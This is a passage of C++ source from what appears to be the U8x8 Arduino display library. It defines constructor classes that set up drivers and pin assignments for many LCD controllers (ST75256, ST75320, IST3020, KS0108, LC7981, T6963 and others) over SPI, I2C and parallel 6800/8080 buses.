U8X8_ST75256_JLX19296_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX19296_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX16080_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX16080_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX16080_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX16080_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX16080_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX16080_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX16080_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX16080_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX16080_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX16080_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX16080_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX16080_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75320_JLX320240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75320_JLX320240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75320_JLX320240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75320_JLX320240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75320_JLX320240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_6800 : public U8X8 {\n  public: U8X8_ST75320_JLX320240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_8080 : public U8X8 {\n  public: U8X8_ST75320_JLX320240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_SW_I2C : public U8X8 {\n  public: U8X8_ST75320_JLX320240_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75320_JLX320240_HW_I2C : public U8X8 {\n  public: U8X8_ST75320_JLX320240_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75320_JLX320240_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75320_JLX320240_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_NT7534_TG12864R_4W_SW_SPI : public U8X8 {\n  public: U8X8_NT7534_TG12864R_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_NT7534_TG12864R_4W_HW_SPI : public U8X8 {\n  public: U8X8_NT7534_TG12864R_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_NT7534_TG12864R_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_NT7534_TG12864R_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_NT7534_TG12864R_6800 : public U8X8 {\n  public: U8X8_NT7534_TG12864R_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_NT7534_TG12864R_8080 : public U8X8 {\n  public: U8X8_NT7534_TG12864R_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_IST3020_ERC19264_4W_SW_SPI : public U8X8 {\n  public: U8X8_IST3020_ERC19264_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_IST3020_ERC19264_4W_HW_SPI : public U8X8 {\n  public: U8X8_IST3020_ERC19264_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IST3020_ERC19264_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_IST3020_ERC19264_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IST3020_ERC19264_6800 : public U8X8 {\n  public: U8X8_IST3020_ERC19264_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_IST3020_ERC19264_8080 : public U8X8 {\n  public: U8X8_IST3020_ERC19264_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_IST3088_320X240_4W_SW_SPI : public U8X8 {\n  public: U8X8_IST3088_320X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_IST3088_320X240_4W_HW_SPI : public U8X8 {\n  public: U8X8_IST3088_320X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IST3088_320X240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_IST3088_320X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IST3088_320X240_6800 : public U8X8 {\n  public: U8X8_IST3088_320X240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_IST3088_320X240_8080 : public U8X8 {\n  public: U8X8_IST3088_320X240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_IST7920_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_IST7920_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_IST7920_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_IST7920_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IST7920_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_IST7920_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_IST7920_128X128_6800 : public U8X8 {\n  public: U8X8_IST7920_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_IST7920_128X128_8080 : public U8X8 {\n  public: U8X8_IST7920_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SBN1661_122X32 : public U8X8 {\n  public: U8X8_SBN1661_122X32(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sbn1661_122x32, u8x8_cad_001, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8X8_SED1520_122X32 : public U8X8 {\n  public: U8X8_SED1520_122X32(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sed1520_122x32, u8x8_cad_001, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8X8_KS0108_128X64 : public U8X8 {\n  public: U8X8_KS0108_128X64(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ks0108_128x64, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8X8_KS0108_ERM19264 : public U8X8 {\n  public: U8X8_KS0108_ERM19264(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ks0108_erm19264, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8X8_T7932_150X32 : public U8X8 {\n  public: U8X8_T7932_150X32(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t7932_150x32, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8X8_HD44102_100X64 : public U8X8 {\n  public: U8X8_HD44102_100X64(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_hd44102_100x64, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8X8_LC7981_160X80_6800 : public U8X8 {\n  public: U8X8_LC7981_160X80_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_lc7981_160x80, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_LC7981_160X160_6800 : public U8X8 {\n  public: U8X8_LC7981_160X160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_lc7981_160x160, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_LC7981_240X128_6800 : public U8X8 {\n  public: U8X8_LC7981_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_lc7981_240x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_LC7981_240X64_6800 : public U8X8 {\n  public: U8X8_LC7981_240X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_lc7981_240x64, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_LC7981_128X128_6800 : public U8X8 {\n  public: U8X8_LC7981_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_lc7981_128x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_T6963_240X128_8080 : public U8X8 {\n  public: U8X8_T6963_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t6963_240x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_T6963_240X64_8080 : public U8X8 {\n  public: U8X8_T6963_240X64_8080(uint8_t d0, uint8_t d1, 